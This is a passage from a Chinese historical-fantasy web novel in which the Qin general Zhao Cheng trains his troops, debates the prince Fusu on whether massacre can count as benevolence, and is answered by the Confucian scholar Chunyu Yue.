“要是真刀真枪,老子拿命换他们,怎么会六千打不过他们三千!”
双方都是低着头,彼此不看彼此,心中都有气,但大多都是对自己不满意的怨气。
赵诚将双方战力尽收眼底。
说实际地,这铁鹰锐士的战力确实很强,而且这一部的才能还不仅限于此。
两军面对面作战,他们的周旋、战术、技艺,有许多都是发挥不出来的,尚且能以一千七百人的战损,拼掉六千人,足见他们战力之强。
当然,他们也有点轻敌了。
这些跟随赵诚杀出来的锐卒本身就有大部分是突骑营的精锐,剩下的也是随赵诚灭韩淬炼出来的锐士。
大家一起出生入死,早就培养出了极致的默契,以人多战人少,这默契就派上了大用场。
再加上将军当前,和拼命想入血衣军的意志,拼尽一切手段,才能拼掉铁鹰锐士一千七的战损。
可以说是士气逆转战局的典型。
看着双方臊眉耷眼,都不敢抬头。
赵诚有些好笑,但这还没完呢。
他又让双方单独对战。
“没打够没关系,继续打,这一次,单独对战,六千轻骑以两个打一个铁鹰,可敢?”
本就打出了火气的双方,这一下顿时眼睛都亮了。
六千轻骑一个个昂着脑袋,“他们是有点本事,但我们两个对付他们一个,还不是随便打?”
“打死他们,我们两只用一只手!”
铁鹰锐士们也是激动起来,“战阵对冲,你们也算是有点默契,要是单独打,那可就排不上号了。”
“别说两个,我一个打他们三个都是轻轻松松!”
“来来来,刚才有点轻敌了,这回让你们知道厉害。”
双方一字排开,以一对二,同时开始。
赵诚一声令下,双方同时冲出。
但这一次,结束的很快。
嘭嘭嘭人影乱飞之际,飞出去的大部分都是六千轻骑。
少部分还在交战的,也是两个人被一个人压着打,怪叫连连。
“不是,这混蛋剑这么快呢?”
“卑鄙,老子还没准备好!”
“可恶啊!这是什么招数,没看清楚就被砍翻了?”
“脸都打没了,两个打一个被别人一下就给打败了??这还进什么血衣军?”
“完了完了,这下完了。”
“这也差的太远了!”
最后,只有寥寥几组轻骑成功战胜了铁鹰锐士,剩下的全都被一打二碾压。
铁鹰锐士们终于找回了面子,一个个昂首挺胸,满脸荣耀。
赵诚看着六千轻骑抬不起头的样子,笑道,“怎么了,还打不打?”
“打!”
“咱就不信了!”
“那就继续。”赵诚大手一挥,“接着战!”
双方再战,这一回轻骑们有了准备,但铁鹰锐士手段频出,花样极多,没一会,六千轻骑又倒了一片,各个欲哭无泪。
“真他娘的邪门了!”
“浑蛋啊,他偷我桃!”
“怎可如此卑鄙!”
“……”
赵诚继续笑问,“还战不战?”
六千轻骑不甘心,“战!”
“那就继续打!”
片刻后,六千轻骑趴在地上欲哭无泪。
形势比人强,就算再不甘心,也必须承认这一点。
有些东西不会就是不会,人家肌肉比你大,力量就是比你强,不服也没用,事实就摆在这里。
这让他们心中一片灰败。
感觉此生无缘入血衣军了。
赵诚看着他们,知道时候差不多了。
“知道差得远了吗?”
有人不甘心地捶地,“将军,我等真的想入血衣军,继续随将军征战!”
“咋办啊将军,我只想跟着你打仗。”
“以后将军领血衣军去了,我们是不是见不到你了?”
“……”
有猛虎落泪,赵诚哭笑不得。
“有办法。”
众人重拾希望,眼中都放出光芒来。
赵诚拿出了炼血篇,笑道,“你们都是随我征战灭韩的部下,怎会弃置不顾?”
“我找了许多炼体秘传,此秘传能够快速锤炼体魄,不过炼这功法,需要承受极大痛苦,非坚韧不拔者不能修炼。”
“除此之外,还会有一些炼体药散辅助,之前随我立了功杀了敌的,可凭借军功领取!”
此话一出,所有人都是震惊的看着赵诚。
炼体秘传?
这种东西是他们可以接触到的吗?
就连章邯都是虎目湛湛地看着赵诚手中的那一片炼体之法。
他也修有炼体之法,但是那是家传,不能传给铁鹰锐士,只能拿出一些皮毛来炼兵。
而赵诚这一部,却是集合好几门秘传凝练出来的东西,更有辅助修炼的药方,这种好东西竟然能够拿出来赏赐全军!
这可真是跟对人了!
就连他,都想要看看赵诚这一部炼体功。
毕竟赵诚的恐怖实力摆在那里,不论怎么想,他拿出来的东西都是极好的东西。
而炼体之人,修炼什么功法又没有冲突,可以兼修两部。
比如有的炼体功擅长炼骨,有的擅长炼力,有的炼发力方式,不一而足,都有其侧重点。
只要不是最顶尖的传承,那都是有侧重点的,有侧重点,就意味着有薄弱点。
多面修炼,可以补足薄弱点,没有一个炼体之人不想多获得几门功法,提升一下自己的薄弱处。
所以即使是他,也有些馋这功法。
更何况,赵诚手中还有配合修炼的药散!
这为实力快速精进,提供了极大的助力!
诸多轻骑锐卒又看见了进入血衣军的希望,欢呼起来,肃拜赵诚。
铁鹰锐士有些羡慕地看着他们,这些人虽然弱了点吧,但是有大哥罩着啊。
哪像他们……
第80章 薅嬴政的羊毛,仁儒小弟扶苏惊见赵诚
众人黯然间。
却听赵诚喝道,“章邯,命人将此功刻碑,立在营中,血衣军上下,皆可练之!”
“由你按此功监管练兵!”
众人愕然,他们也有份?
章邯小心地接过赵诚递来的炼血篇,不敢置信地看向赵诚。
“将军,这可是秘传,直接刻碑立在营中?这……”
赵诚不以为意,“这只是第一篇,之后的几篇,需要军功兑换。”
“不过药散珍贵有限,他们随我征战有功,以功兑换,你们只能等之后战事立功之后再兑换了,这也算是他们陪我拼命的奖赏吧,可有异议?”
章邯重重行礼,“铁……血衣军得此秘功已是天大恩赐,哪里会有异议?”
赵诚点了点头,又看向冯全等人,“此功修习简单,只要吃得了苦,用不了多久你们就能入血衣军了。”
“不过,时间不多,还需全力而为!”
众将士咬牙攥拳,狠狠发誓,“我等不怕吃苦,将军等着我们,我们定入血衣军!继续追随将军左右!”
赵诚点了点头,“好,你们就算血衣军预备役,一月之后,决定去留。
此外,你们随章邯练兵,体魄差了些,比不过血衣军也无妨……”
众人被旧铁鹰打得很惨,心中都憋着一口气,此时哪里肯服输。
“将军放心,我等绝不会比他们练得少!只会比他们更多!”
血衣军看向他们,心中默默决定,要将训练强度再提升一倍。
比我们练得多?
那得看你们顶不顶得住?
赵诚说道,“制作药散还需不少资金,我去找大王拨款,你们莫要懈怠。”
他刚升为大良造,虽然食邑不少,但是钱还没到。
如今家底空空,昌平君输给他的赋税还没到,只能去薅嬴政的羊毛了。
没办法,谁叫血衣军是大王的兵呢?
他不出钱谁出钱?
此时章台宫后殿上,嬴政突然右眼皮一跳,心中有种若有所失的感觉。
他疑惑抬眸,按了按右眼,“顿弱。”
顿弱出现。
嬴政问道,“那小子回府之后如何了,可能适应城中生活?”
顿弱脸色古怪,“他就在家中呆了一夜,一大早就出城去细柳营了,还把铁鹰锐士叫了过去,和之前旧部对战。”
“好像,还连夜创出了一部专门用来给血衣军练兵的炼体之法,如今已在血衣军中普及。”
嬴政眉头一挑,“哦?寡人不是让他休息三日?”
“赐给他十六美侍,更有故韩公主,他竟然连夜创造练兵法,还跑出城去练兵?”
他有些失笑,“真是个榆木脑袋!”
“细柳营对战什么情况?说来听听。”
顿弱说道,“据说双方打得热火朝天,弄得旧铁鹰和他的旧部都憋着一口气,谁也不服谁,现在怕是要拼命练兵了。”
嬴政眼中隐有笑意,“他倒是个雷厉风行的。”
虽然说着赵诚是榆木脑袋,但是他眼中的笑意却是骗不了人,心中实际上对赵诚是愈发满意的。
赵诚年方十六,正是血气方刚的时候,而他赐下的这些美侍,各个品貌绝佳,八名故韩贵女更是身份不凡,一般少年哪里抵得住这种诱惑?
再加上他下令让赵诚休息三日,一般的少年刚下战场,又有美人在侧,定会肆无忌惮地发泄,没有三日时间,根本不会出府。
哪像赵诚这孩子,刚刚第一日,一大早就去了军营,而且还开始了练兵。
结合之前赵诚问他何时攻赵的事情,他愈发认识到赵诚的铁血,这与他,与大秦,何等契合?
此子真乃天赐大秦也!
嬴政想着,又想到了扶苏,相比于赵诚的铁血,扶苏就显得太过宽仁天真了。
不如让扶苏跟随赵诚一段时间,去一去身上的酸腐之气,也沾染一些赵诚的铁血才好。
毕竟是他从小培养,寄予厚望的下一任治国人选。
治国是非常复杂的事情。
赵诚从小在山野间长大,如今虽然以不世之锋崭露头角,更以军功封大良造,但会打仗不代表会治国。
再加上,扶苏才是名义上的嫡长子,受到宗室和许多大臣支持。
赵诚的身世目前只有他自己知道,想要昭告天下,令其认祖归宗,将面临无穷阻力。
立其为太子,更是几乎不可能的事情。
所以到现在为止,嬴政还是对扶苏寄予厚望。
如此想着,他又问道,“扶苏何在?”
赵高回复道,“回陛下,扶苏公子如今正在宫学之中,随博士淳于越学习儒学。”
嬴政微微皱了皱眉。
秦国以法家思想为治国核心,但对诸子思想并非完全排斥,皇子自然可以在宫学之中学习到诸子百家的思想。
而当今时候,又以儒家学说和法家学说为相对主流。
嬴政早前,就令扶苏跟随李斯学习法学,其次跟随朝中的博士和大臣们学习其他学说。
但扶苏生性宽仁善良,对儒学表现出强烈的认同,于是渐渐地,学习的重心就偏向了儒学。
然而儒学博士之中,不论是周青臣也好,还是淳于越也罢,都是主张分封制,以及以仁治国。
与秦国赏军功,重刑杀的强国之本有所冲突。
偏偏扶苏还更偏向于儒学,这让嬴政觉得他有些仁懦。
可因为扶苏本身还算是聪明,又受到了多方教导,已经形成了自己的思想,有了自己的偏好,嬴政也有点没有办法。
“唤他过来。”
“唯。”
赵高匆匆离去,没过多久,就带着一名十三四岁的如玉小公子抵达后殿之上。
这小公子长得朗目疏眉,面容白皙,绝称得上是俊朗,但是其眉眼之间却不似嬴政那般英武锐利,反倒是多了七分柔和。
他在殿下行礼,“王父。”
嬴政问道,“大良造赵诚八日灭韩,你对此人如何看待?”
扶苏眉眼微微竖起,“臣以为,兵者,所以禁暴除害,非以残民杀降也。
今大良造赵诚于韩境,破城屠卒,已有十数万,流血成川,沸声若雷,天下闻之,莫不胆寒。
韩人“家家戴孝,户户衔冤”,此行暴虐,违背仁信伦理,失德至极!”
“以暴制暴只会导致天下不安,义战才应是我大秦之军风,孟子曾言,不嗜杀人者能一之!”
“如此屠城,只会激化敌国仇恨,此战之后,诸国恐惧憎恨,必将化作更加顽强的抵抗。”
嬴政听着,脸色是越来越沉,心中亦是无语。
“那你以为,寡人若要东出,该当如何灭韩?”
扶苏想了想,认真说道,“尚书有云:惟德动天,无远弗届。
孔子言,己所不欲,勿施于人。
孟子有言,争地以战,杀人盈野,此所谓率土地而食人肉。
故臣以为,恃武力者强于一时,恃德行者王于万世。”
“今王欲并诸侯,必以‘义’为旗,若使天下视秦为‘虎狼之国’,则六国必死守,士民必离心。
昔商纣王恃刑杀而亡,周文王文德而兴,愿王察之!”
嬴政揉了揉额头,“那依你所言,大良造赵诚不但无功,反而有过了?”
扶苏掷地有声,“正是如此!”
“此人善逞匹夫之暴虐,不适用于征战诸国,而适用于镇守京都,去其嗜杀之能,方得重用。”
“愿大王止其兵,收韩降以为民,葬枯骨以安魂,布仁德以告天下,则六国之民,皆望秦如望甘霖,王业可传万世,岂在一时之杀伐哉!”
嬴政揉着眉心,感到头疼不已,实在听不下去了。
“好了,此事……”
正此时,殿外传来脚步声,郎中令来到殿外报道,“陛下,上将军赵诚求见。”
嬴政眉峰一挑,看了看扶苏,嘴角隐现笑意,“让上将军入殿。”
扶苏的小眉头微微一皱,有些不喜地看向殿门方向。
下一刻,视线突然一暗。
一个立如险峰擎天地的身影踏入殿中,虽然未着铠甲,但其八尺有余的身躯依然遮住了大半宫门。
那是肩宽背阔,猿臂蜂腰,身如铁梁,脊似金枪!
浑身上下带着几乎凝实的煞气腾腾烈烈,好似燃烧在黑夜之中的烈焰一般。
扶苏的瞳孔一颤,缓缓向上看去。
又见其额如削玉,眉似开锋,瞳光乍现杀气如潮,唇角抿出斩截断铁般的凛凛风骨。
若说侠骨三分色,此为君颜十丈戈!
他向着殿内走来,仿若有山崩于前,更似雷霆炸来。
让小扶苏恍惚间,几乎站不稳,不由自主地后退了两步,这才惊醒过来,脸色已是有些苍白。
赵诚打量了他一眼,觉得这小玩意儿浑身书卷气,还挺可爱的。
就是胆子不太大的样子,刚看了自己一眼,就吓成这样了,上了战场不会尿裤子吧?
他看了一眼就不再看,站在扶苏一侧,对着嬴政行礼,“臣赵诚参见陛下。”
嬴政看着殿下一大一小,好似一座险峰之下,立着个小土包。
再看那烈烈杀伐气与软软书卷气之别,不由得颇为感慨。
嬴政立刻说道,“卿来得正好。”
“此为扶苏,寡人的……嫡长子。”
“刚刚正在说你……”
扶苏脸色一变,“王父,臣……臣还有功课没学完!”
压力太大了,这血屠……压迫感太强了!
扶苏的小脑袋都冒汗了。
怪不得韩人闻风丧胆,这是什么人啊,到底杀了多少人,才能有如此杀气,让人见之惊惧,如面暴虎?
第81章 父子相视笑知音,车舆诛心正扶苏
后殿之上,扶苏埋着头心念急转。
决不能让刚才所言,落到这血屠耳中。
这家伙一看就不是什么好人,可不要发了疯,对自己做什么才是。
嬴政见他缩头缩脑,不由得心头暗笑,好像终于见到了能制扶苏的人了。
“你那功课先不作也无妨!”
“正巧大良造就在这里,你将你的见解与他说上一说,或许能改变他的战法。”
“再说,你不是坚持义战,现在正是践行之机,岂能错过?”
扶苏心惊胆战,偷偷瞄了赵诚一眼。
却发现,赵诚也在笑吟吟地看着他,饶有兴趣的样子。
他不由得惊惶缩回视线。
“臣……臣此论,可能……”
赵诚笑问道,“公子扶苏有何见教,尽管说来就是。”
想了想,他又补了一句。
“吾不吃人,嗯……至少不吃小孩子。”
扶苏汗都下来了。
至少不吃小孩子?
难道大人就吃吗?
他不寒而栗,然而刚刚慷慨陈词,如今若是畏畏缩缩,难免在王父面前丢了面子。
于是他咬了咬牙,不看赵诚,干脆说道,“听闻大良造有血屠阎罗之名,如今一见,属实不虚!”
该死,本是想凶猛一点,找一找气势,怎么出口反而像是恭维的话一样?
孔曰成仁,孟曰取义,今日为了大义,怎可退缩!
今日!
今日吾便成仁取义!
他挺直了脊背,缓缓转身,准备直面赵诚,慷慨陈词。
然而与赵诚目光对视的一瞬间,就又缓缓转了回去。
“咳,嗯,扶苏听闻赵将军灭韩一战屠城无数,某以为不妥。”
赵诚大觉这孩子好玩,爽朗一笑。
“尽可说来,如何不妥?”
见到赵诚宽厚的反应,嬴政也在王位之上笑眯眯地看着这一幕。
似乎是因为赵诚的爽朗,扶苏找到了点状态,“此举不服民心,不合德治,无益于长远霸业。”
“将军屠城,不仅韩人惊惧,六国百姓皆惊惧,惊惧之下,自然愈发抗拒秦国,人人自危,则合纵抗秦之心愈坚。”
“其次,民心乃是立国之本,民心不服,就算尽收韩地又如何,未来但凡有合适时机,其必反也。”
“所谓恃武力者强于一时,恃德行者王于万世,若欲并诸侯,当以义为旗,否则六国必死守,士民必离心,又该如何并之?如何治之?”
赵诚想了想,觉得扶苏说的也有道理,不过道理不多。
他问道,“某曾听闻,孔子曾言君子不器,何解?”
扶苏皱了皱眉,不知道赵诚为什么问这个,不过还是答道,“君子心怀天下,不像器具那样,作用仅仅限于某一方面。”
“器者,形也。有形即有度,有度必满盈。故君子之思不器,君子之行不器,君子之量不器。”
嬴政此时也是若有所思。
赵诚又问道,“仁义可为君子器焉?”
扶苏一愣,皱眉想了想,“不可。”
赵诚笑道,“那便是了,仁义不可器君子,焉能器国?”
听到这话,嬴政微微一愣,这句话点中了扶苏的病症!
可谓是一针见血!
这让他的脸色不由得认真了起来。
却听赵诚继续说道,“仁义治民,亦或治国,亦或并诸侯,都要因时而治。”
“如今一时仁义,恐遗万世之祸。”
“某疾袭韩都,沿途不屠城卒,走后诸城士卒复起围杀,断绝粮草,则我军如何应对?”
扶苏皱眉不答。
“若我军被困杀韩都之外,八千轻骑尽死,此为仁义乎?”
扶苏不答,嘴紧紧抿着。
“若我以力直取韩都,而诸城再起固守,强征百姓为民兵,两军杀伐往复,死伤无尽,此为仁义乎?”
扶苏面露深深迷茫。
“若六国都知秦为仁义之师,两军交战时,以悍卒精锐潜伏于百姓之间,趁我仁义治民之时,暴起袭杀,此为仁义乎?”
扶苏眼中出现动摇挣扎。
赵诚挺立殿前,锋芒凛凛。
“两军交战,岂可为所谓仁义束手束脚?自当以雷霆手段杀之!朝夕之间取之!否则世世代代无穷尽,何时止战?”
“诸国攻伐数百年,死伤何止数百万?”
“今我大秦朝夕灭之,陛下若一统天下,即使屠戮百万,岂非仁义之举?”
扶苏豁然抬头,已是瞳孔巨震,屠戮百万,反而是仁义之举?
可按此说来,诸国从此止戈,大秦治下,再也不需要相互攻伐,难道不是仁义之举吗?
可屠戮百万,还能称之仁义吗?
嬴政脸色渐渐变了,看着赵诚的目光有些惊喜,又十分欣慰。
此子,竟知寡人所想?
“大音希声,大善如恶。”赵诚对着嬴政揖手行礼,“依臣来看,陛下才是大仁义,臣只是小善罢了。”
嬴政愕然失笑,合着绕了一圈绕这来了,该说他点什么好。
他指尖点了点赵诚,两人相视而笑。
只有扶苏站在一旁怀疑人生。
不是,你们是大仁小善,我呢?
我这岂不是大恶?
这这这……
这是颠倒黑白!
可恶!
偏偏他现在脑子乱成一团,想不到什么东西来反驳赵诚所言。
从大方向来看,若是一统六国,就算真的屠戮百万,以后不再互相攻伐之下,那也是少死了数百万人。
等等,若是以威服之而不杀,岂不是也能做到这样?
不,那血屠说了,不以雷霆手段灭之,战事就会拉扯往复,拖入泥潭,只会越死越多。
赵诚看到一旁的小玉童大脑宕机了似的呆立着,又有坏主意浮现上来。
“某问公子,若一架马车飞驰之中失控,奔向一幼童,而你可鞭退马车,但代价是马车之中五人尽死,你可愿救那幼童?”
本就脑袋乱作一团的扶苏听到这个问题,更是如遭雷击。
“救……不,不能救,不,怎能不救?”
“这……”
“孟子说,恻隐之心,仁之端也,我该救幼童,这是恻隐之心……”
“可是,义者,宜也,鱼与熊掌不可得兼,舍鱼而取熊掌者也,马车之上人命更多,我应该救马车上的人……”
“慈幼是仁的基本,我该保护幼童……”
“但以善之名行恶之实,也违背了仁的底线……”
听到这个问题,嬴政也笑不出来了。
这小子真坏啊。
这个问题,对于儒家来说,简直是诛心的问题。
若是他嬴政来答还好,救与不救都在一念之间。
牺牲取舍对于帝王来说,是必修之课,可眨眼决断。
可对于扶苏来说不是,以他的仁义之论,他做不了决定,承担不了这个破碎仁义的决断。
因为不论救哪一方,都意味着他杀了另一方。
一方是幼童,另一方是五条人命。
这就和统一六国是一样的,若不以雷霆手段灭之,就要承担长久的战国攻伐和更多的死伤。
若以雷霆手段灭之,就必须承担屠戮无尽的罪孽。
他嬴政,有这个担当,也敢于承担这份骂名和罪孽。
如今,又多了一人,便是殿下的那个擎天立地的少年,他亦一力担当血屠之名,不惧诸国毁之谤之。
可扶苏呢,他何时能过这一关?
看着殿下失魂落魄的扶苏,嬴政突然觉得,赵诚帮了那孩子一个大忙。
在他即将走歪之际,狠狠地打醒他。
扶苏急的鼻头冒汗,双眼发红。
他突然抬头质问赵诚,“若是你,又该如何抉择?”
赵诚理所当然道,“当然是救幼童。”
扶苏逼问,“为何?”
赵诚说道,“很简单,我不吃小孩子……”
扶苏骇然后退。
该死,忘了他是血屠!
他失魂落魄退后,又朝着嬴政行礼,“王父,臣想不通,臣要去问博士!”
嬴政暗暗叹息,却说道,“去吧,若是博士答不上来,你之后便跟随上将军身边,随军练兵一段时间。”
扶苏不服,“博士一定能答上来的。”
他匆匆跑出了大殿。
赵诚听到嬴政的话有些意外,陛下让我给他带孩子?
他就不怕我真给他带个小屠子出来?
也是,当小屠子也比当腐儒好得多了。
“卿以为,淳于越博士可能答的上此问?”
赵诚想了想,“难。”
嬴政笑了。
“卿来找寡人何事?”
赵诚开始哭穷,“陛下,臣要练兵,但是没钱啊……”
嬴政无语,“血衣军的军资难道还不够?”
赵诚说道,“臣要为大秦打造一支人人如龙,可为百人敌甚至千人敌的不世之锋,故而创出一门专供练兵的炼体之法。
此法修习快速,但是在臣看来,还是不够,当以药材辅助,才能在几月之中打造一部最强之军!
如此才能尽快攻赵啊陛下。”
嬴政从容道,“攻赵之事,不急于一时,需待时机成熟。”
他是不急,赵诚很急,“依臣看来,现在时机就很成熟,需要尽快立起血衣军,下个月咱们就攻赵,灭赵之后,紧接着就灭韩!”
“陛下,一鼓作气再而衰三而竭,如今灭韩之后,军风正盛,诸国惊惧,正是东出的好时候!”
嬴政都有点麻了,这小子怎么比孤还急??
到底为什么。
杀人有瘾啊这是!
第82章 听曲赏舞,扶苏求救:先生救吾!
嬴政看着殿下的赵诚,感到有些无奈。
组建血衣军是他下的令,赵诚要军资练兵也是好的。
只是要从中央财政拨款,相对来说会比较麻烦。
需要治粟内史从太仓和大田划拨,而后经过丞相和御史大夫审核,最后再由嬴政批准。
如今刚刚削弱了昌平君,昌平君肯定是心中有怨,恐怕又要来和他扯皮。
好在之前赵诚灭韩,收敛了故韩国库不少东西。
便从王室财政之中出吧。
如此想着,嬴政说道,“唤少府来。”
少府属于王室的秘书长,也是九卿近臣之一。
“陛下。”
“自私库之中,拨十万钱给上将军,用以练兵血衣军。”
“唯。”
少府动作还是快的,嬴政下了命令,也不需要谁来审核,很快就有人送了十万钱到赵诚府上。
赵诚薅了嬴政羊毛,满意离去。
回到了大良造府上,赵诚找到了封不救。
“药方制作出来了没有?”
封不救苦思冥想许久,头发都乱做了一团,苦笑道,“爵爷,加强体魄的药方倒是有很多,但是如果要完美契合这血衣军炼体功,恐怕还需要一些时日。”
赵诚不满意,但看到封不救面前的医书都快翻烂了,各种药方更是散乱了一地,也就没有再难为他。
想了想,他从系统之中,凝练了一枚气血丹出来。
“你按照这种丹药去制作药方,总会容易得多了吧?”
封不救一看到那枚丹药,顿时眼睛一亮,有些惊疑不定地接过来问了问,当即大惊失色。
“这是……天元地龙炼血丹?”
“这,爵爷这是从哪里得来的?”
封不救就像是看到了什么宝物,小心翼翼地捧着丹药,甚至都有点不敢动了,生怕丹药掉到了地上。
赵诚一脸问号,一枚气血丹而已,怎么有如此夸张的名字?
“从哪来的你不用管,你就告诉我,有了这枚丹药,你能不能逆推丹方?”
封不救颤颤巍巍地将丹药放好,连连点头,“能逆推丹方,有这丹在,就算爵爷不让我逆推丹方,我也要研究的。”
“不过爵爷,这丹药所用的药材,不论是年份还是珍稀程度,都不是凡品,恐怕价值不菲。”
赵诚点了点头,“尽量找到普通药材作为替代品,药性降低一些没有关系。”
封不救放心了下来,立刻开始埋头研究丹药去了。
说是丹药,但是那玩意更像是熬炼出来的药泥搓成的丸子。
赵诚从头至尾都没有当过什么好东西,甚至都没吃过。
如今看封不救的样子,才算知道,这东西价值不菲。
这气血丹不过消耗十年寿命,对赵诚来说虽然不算多。
但是血衣军毕竟不是几百个人,而是成千上万人,就算这气血丹一年一枚,那也不够一个军队消耗的。
他还要留着寿命修炼,自然不可能用气血丹来培养血衣军。
不过陛下的钱,不用白不用。
想着,赵诚离开正堂,回到寝居。
炊玉立刻奉上了吃食来。
“爵爷,午饭备好了。”
她也不愧其名,做出来的糕点,真就如同玉石一般,经过精雕细琢,每一枚看起来都像是艺术品。
而菜肴也是无比精致,就算是素菜,那也做得是散发晶莹之光,看着清雅透亮。
再加上她秀色可餐地站在一旁,不论是谁,都要胃口大开的。
赵诚坐了下来,宽敞前堂之上,众美侍立两侧。
朝雪端着金盆,为赵诚净手。
玉手修长,温软嫩滑,白皙如葱,素净无比,沾染着温水,为赵诚洗净又擦干了大手。
堂中清商上前,清雅一礼,“爵爷可要听曲赏舞吗?”
赵诚点了点头。
清商坐于堂下,开始奏曲。
她的手与炊玉微有肉感的软嫩不同,也与朝雪的素净白嫩不同,比例修长协调,线条流畅,骨节柔软。
指尖如精灵跃动在秦筝之上,过处如清泉击石。
一曲《清商乐》能令庭中的风儿都随节奏旋飞,余韵悠长,清涤心魂,让人听着,不由自主地随之放松下来。
当真是,如听仙乐耳暂明。
而随着秦筝奏响,流萤如月里嫦娥般飘舞而出,光影映的她那衣袂半透明状,有如蝉翼。
她的身段柔软至极,身形窈窕如流萤穿雾。
玉足轻点之间,雪肤长腿在纱衣之下若隐若现。
翩若惊鸿,婉若游龙,好似洛水神女踏波而来。
腰身旋转时,鬓边金箔步摇颤出细碎流光,腕间玉坠相撞的清响与秦筝乐曲相合,连垂落的发丝都似被风牵引,不肯打乱半分舞姿的韵律
纤腰玉带舞天纱,疑是仙女下凡尘。
态浓意远淑且真,肌理细腻骨肉匀。
紫袖香裾拂乐堂,银钗斜坠映红妆。
羽衣蹁跹如流雪,环佩叮咚似玉鸣。
好似画中一幕,美的如梦似幻。
赵诚自认没有什么艺术审美,但是好的舞蹈和曲子,却也不需要什么艺术造诣,不论谁来,都会觉得有一种震撼之美。
他一边吃着美食,一边听曲赏舞,确是惬意非凡。
饭后,纫秋又拿来他的将军铠。
“爵爷,妾奴见宝甲有所破裂,便自作主张缝制好了,望爵爷勿怪。”
赵诚笑道,“不怪,拿来一试。”
朝雪给赵诚去了常服,又为赵诚去披甲,这铠甲厚重,让她耗尽全力,才维持住仪态。
好在纫秋青鸾也在一旁,三人合力为赵诚披甲。
铠甲一上身,赵诚就察觉到了不同。
好家伙,什么时候铠甲穿的如此舒适柔软过?
这铠甲内部缝制了上好的内衬,外面的鳞甲突起之处,都被细细的针脚收了起来,穿在身上,丝毫没有摩擦或者被硌到的感觉。
反而柔软华顺,就算不穿里衣,直接穿着铠甲那也不会有丝毫不适。
又因为铠甲有些重量,赵诚甚至觉得比常服穿起来还要舒服一些。
纫秋有些忐忑的看着赵诚,“爵爷,可合适吗?若是有不舒服的地方,妾奴再改。”
“合适,太合适了。”赵诚摆了摆手,“不需要再改,这样穿起来,已经不像是铠甲了。”
“再改的话,就不像去打仗,倒像是去郊游的。”
纫秋一笑,显得温婉贤淑。
她的气质安静柔婉,不像是个侍人,倒像是个贤妻良母。
“妾奴还缝制了几身常服和大氅,都是以大良造规制的材料缝制的,爵爷可以换着穿。”
赵诚体会了纫秋的手艺,自然不愿意再穿着朝廷发下来的大良造常服,“拿来,现在便换上吧。”
纫秋很是高兴,不多时就抱来三身常服。
秦国以水德立国,崇尚黑色。
这衣服都是黑中透红的玄色,边缘以彩色锦缎镶边,胸腹之前绣有栩栩如生的大虎,看着霸烈不凡,视之有若猛虎扑面。
而大氅则是貂裘氅,皮毛朝外,直领对襟无袖,贴合赵诚的身体高度,长度正好过膝,外层以黑色绸缎或厚缣缝制,领口、袖口镶熊皮。
所谓人靠衣装,赵诚本就肩宽背阔,猿臂蜂腰,面如冠玉,英武凛凛。
如今身着玄色猛虎常服,外披貂裘大氅。
站在殿中,好似秦岭中的险峰直插穹顶,
其本就铁铸一般的魁梧身躯,显得愈发神武不凡,满堂家具都似乎矮了数分。
冠玉般的面容下,凛凛长眸开合间,更有叱咤风云之威。
看得青鸾三女面红心热,竟是不敢直视。
“爵……爵爷,可有不合之处?”
纫秋微红着脸,柔婉抬眸看向赵诚,眸中似有星光闪烁。
赵诚没有注意三人的异常,只觉这衣服穿在身上真是与之前天壤之别,这貂裘大氅更是深合他意。
“甚为合身,纫秋有心了。”
纫秋极为开心,“妾奴应该做的。”
赵诚看了看她,觉得这柔婉的少女真是亲和讨喜,“你喜欢缝衣刺绣?”
纫秋回道,“妾奴确实喜欢。”
赵诚大手一挥,“那便赏你锦缎丝线,素檀,领我的爵符拟令,让纫秋去领赏。”
“唯。”
爵府也有府库,府库之中,有之前封赏时随赐的规格之礼。
如锦缎肉粮之类,都是极多。
更不要说,这几日送礼的人连绵不绝,就连在赵诚身上吃了大亏的昌平君都送来不少东西。
那些想要抱大腿的,想要拉拢赵诚的,想要混个脸熟存在感的,送的都是重礼。
吃穿用度,封赏之物,那是一点不缺。
“妾奴谢爵爷恩赏。”
纫秋深礼,也不知道想到了什么,脸色愈发的红了。
而在赵诚试衣服的时候,宫学之中却是乱了起来。
“先生,吾在殿上,见到那血屠了!”
“吾谏言于他,却被他以仁义只说驳回,说到最后,他和父王反倒是大仁大义者,吾是大恶之人!”
“更可恶的是,他抛给吾一个问题,吾答不上来,父王说若是一直答不上来,就要吾去跟随血屠治军啊!”
“先生救吾……”
第83章 群儒蔑我为屠,我诛群儒的心!
“什么?”
“灭韩一战,他屠戮何止十数万,竟然说是自己是大仁大义?简直胡扯!”
淳于越听到这话,差点把自己的八字胡揪断了,他瞪着一双突眼怒言相斥!
再看扶苏双眼无神,似乎到现在都没有缓过神来,满心的不解和困惑之色,淳于越都有些心疼了。
“公子莫慌,且与臣说来,那血屠是如何诡辩的?”
扶苏先问出了仁义之问,“血屠说,若是不屠城,反而导致诸城复起,强征百姓,则战事继续拉扯加剧,死伤更多,此为仁义乎?”
“又问,诸国攻伐数百年,死伤何止数百万?今我大秦朝夕灭之,陛下若一统天下,即使屠戮百万,岂非仁义之举?”
淳于越冷哼一声,“血屠诡辩!”
他指着案头上的一卷春秋,怒道,“此乃卫文公‘启以夏政,疆以戎索’之谬论!昔者武王伐纣,牧野誓师曰‘惟恭行天之罚’,何曾以‘杀一救百’为仁?”
“若屠城可称仁义,那夏桀焚民为‘祭天’、商纣剖心为‘正谏’,岂非皆成圣人之举?公子且看——”
他扯开书架上的尚书,“‘惟天惠民,惟辟奉天’,周公制礼时早明告天下:
仁政如织帛,纵有千丝万缕之困,岂可用快刀斩乱麻之法?
韩民如丝,秦军如刀,一刀下去看似利落,可断帛之痕终身难补!”
淳于越继续说道,“那血屠说‘不屠城则战事绵延’,却忘了《诗经》有云‘民亦劳止,汔可小康’——
民求的是‘止戈’,非‘速死’!
昔者子产治郑,不毁乡校而纳谏,是为‘仁术’。
今秦以虎狼之师临韩,却学夏桀‘时日曷丧,予及汝偕亡’的暴虐,竟还好意思称‘仁义’?”
他又捧起一捧粟米,任由米粒从指缝簌簌落下,砸在竹简刻着的“仁”字上。
“公子且看这粟米——春种时需怜苗惜土,秋收时需轻镰慢割,此乃农夫之仁。
若为求速收而纵火烧田,虽得一时之丰,来年岂有寸土可耕?
秦军屠韩如焚田,今日得十城之速,明日必失天下之心!
那血屠不知‘仁者爱人’是‘如保赤子’的细护,却当成‘快刀斩乱麻’的酷烈,简直是将孔夫子的‘仁’字踩在血里碾作泥!”
随着他慷慨激昂地说着,扶苏的目光也越来越是明亮。
